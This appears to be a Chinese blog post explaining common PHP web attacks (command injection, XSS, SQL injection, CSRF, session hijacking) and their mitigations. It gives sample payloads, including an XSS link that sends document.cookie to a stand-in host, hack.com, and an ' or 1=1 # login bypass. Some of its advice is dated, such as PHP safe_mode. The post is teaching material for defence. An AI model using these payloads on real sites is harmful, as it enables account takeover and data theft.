MS-PHP-安全

  1. 命令注入攻击:

    不要相信客户端输入

       function A(){}
       function B(){}
       $myFunc = $_GET["myFunc"];
       echo $myFunc();
       // 本意通过 http://localhost?myFunc=A来动态调用A方法或者B方法,
       // 但是,假如调用为 http://localhost?myFunc=phpinfo,及暴露了服务器信息
    

    解决方法:
    1. 尽量不要执行外部命令
    2. 使用自定义函数或者函数库来代替外部命令(如通过系统函数如system, exec, shell_exec执行的外部命令,把exec("ls -al")获取目录信息,改为通过opendir, readdir方式获取)
    3. 开启安全模式。在php.ini中,开启safe_mode。
    开启后,会受到一定的影响,如:
    * 尝试访问文件系统的函数将会被限制,运行服务器的用户id,如果想要尝试操作某个文件,必须要用户该文件的读取或者写入的访问权限。(如ckdir, fopen, require, include, rename, copy, mkdir, touch, move_uploaded_file等)
    * 一些扩展函数也会受到限制,不能在程序里面直接加载扩展,只能到php.ini里加载。
    * php如果需要执行操作系统的程序时,必须在safe_mode_exec_dir中指定程序的路径。

  2. 客户端脚本植入

    植入步骤

    客户端脚本植入

    image.png

    可以插入跳转钓鱼网站的代码(window.location.href="http://www.yjshare.cn"),或者无限alert的弹窗,或者其他的js代码进行攻击

    防范办法:
    使用htmlspecialchars将特殊代码转为html编码

  3. 跨网站脚本攻击(XSS攻击)

    XSS攻击,意为跨网站脚本攻击,主要被攻击者用来读取网站用户的cookie或者其他用户数据,一旦攻击者得到这些数据,就能伪装成此用户来登陆网站,获得此用户的权限
    攻击步骤

    XSS攻击

    比如有人发你一个链接:http://www.yjshare.cn/index.php?key=<script>window.location.href='http://www.hack.com/getcookie?key='+document.cookie</script>,你的服务器index.php执行了这个代码,把key客户端请求的key原样输出,然后浏览器执行了script代码,就会把你在这个网站的cookie信息带给攻击者的服务器。
    危害

    • 通过document.cookie盗取cookie
    • 使用js或css破坏页面正常的结构与样式
    • 流量劫持(通过访问某段具有window.location.href定位到其他页面)
    • Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。
    • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
    • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

    XSS防范

    • 对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取cookie。服务端可以设置此字段。
    • 对用户输入数据的处理。不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。例如用htmlspecialchars进行html编码,或者对输入进行过滤,过滤掉类似<script>这样的关键词。
  4. SQL注入

    攻击步骤

    SQL注入步骤

    实例:

    1. 最经典的就是登陆的sql注入了,如果服务器的逻辑是这样的

       $query = "select * from user where username='$_GET[username]' and password='$_GET[password]';";
       $result = mysql_query($query) or die("");
      
    2. 当用户输入是这样的:[ login.php?username=' or 1=1 #&password= ],那么sql语句就变成了:

       $query = "select * from user where username=" or 1=1 # and password=";
      

    防范方法:

    • 对客户端参数过滤或者转义,如intval转换整数,floatval或doubleval转换浮点数,用addslashes对单引号(')、双引号(")、反斜杠()、null等字符前,加上反斜杠
  5. 跨网站请求伪造攻击(CSRF攻击)

    攻击步骤

    1. 对于一个留言板模块,假如可以插入图片,攻击者写入<img src="delete.php?id=1">
    2. 访问到这个图片的用户,看不到这个图片,但是会去访问delete.php?id=1这个地址
    3. 假如这个地址是用来删除留言,那么该用户就在不知情的情况下,调用了删除的操作

    防范方法
    防范 CSRF 要比防范其他攻击更加困难,因为 CSRF 的 HTTP 请求虽然是攻击者伪造的,但是却是由目标用户发出的,一般常见的防范方法有下面几种:

    1. 检查网页的来源(HTTP的HTTP_REFERER)
    2. 检查内置的隐藏变量(我们在表单中内置一个隐藏变量和一个 session 变量,然后检查这个隐藏变量和 session 变量是否相等, 以此来判断是否同一个网页所调用,如Laravel的csrf_token)
    3. 使用 POST,不要使用 GET
  6. 会话劫持

    会话劫持指的是攻击者用各种手段获取用户的session_id,然后利用用户的身份来登陆网站,获取用户的操作权限

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,324评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,356评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,328评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,147评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,160评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,115评论 1 296
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,025评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,867评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,307评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,528评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,688评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,409评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,001评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,657评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,811评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,685评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,573评论 2 353

推荐阅读更多精彩内容

  • 本文是 Django 官网文档的翻译。官网链接:https://docs.djangoproject.com/en...
    学以致用123阅读 5,685评论 0 5
  • 晨间检视 高效率慢生活第79天 鸡鸣阵阵。开启运动模式跑步第13天 付出和执行方能成长 身体和心灵总有一个要在路...
    蒙蒙简阅读 179评论 1 1
  • 这是一本关于人性的书 达郎作为一个资深的棒球运动员,不幸在一次比赛中受伤。他的队友,住田的老婆千香子是一位钢琴家,...
    Waka小姐阅读 363评论 0 3
  • 张若虚此人,世人知之甚少。以至于他的有无都有人怀疑。然而,有这样一首诗可以被名之“孤篇盖全唐”,于是唐诗里,就有“...
    懒惰的小猫阅读 457评论 1 3
  • 写作这件事情真的是需要各种技巧的。但是就写作这件事本身来说,一开始并不需要任何的东西。只要拿手在手机上或者电脑上写...
    天蝎爱吃糖阅读 136评论 0 0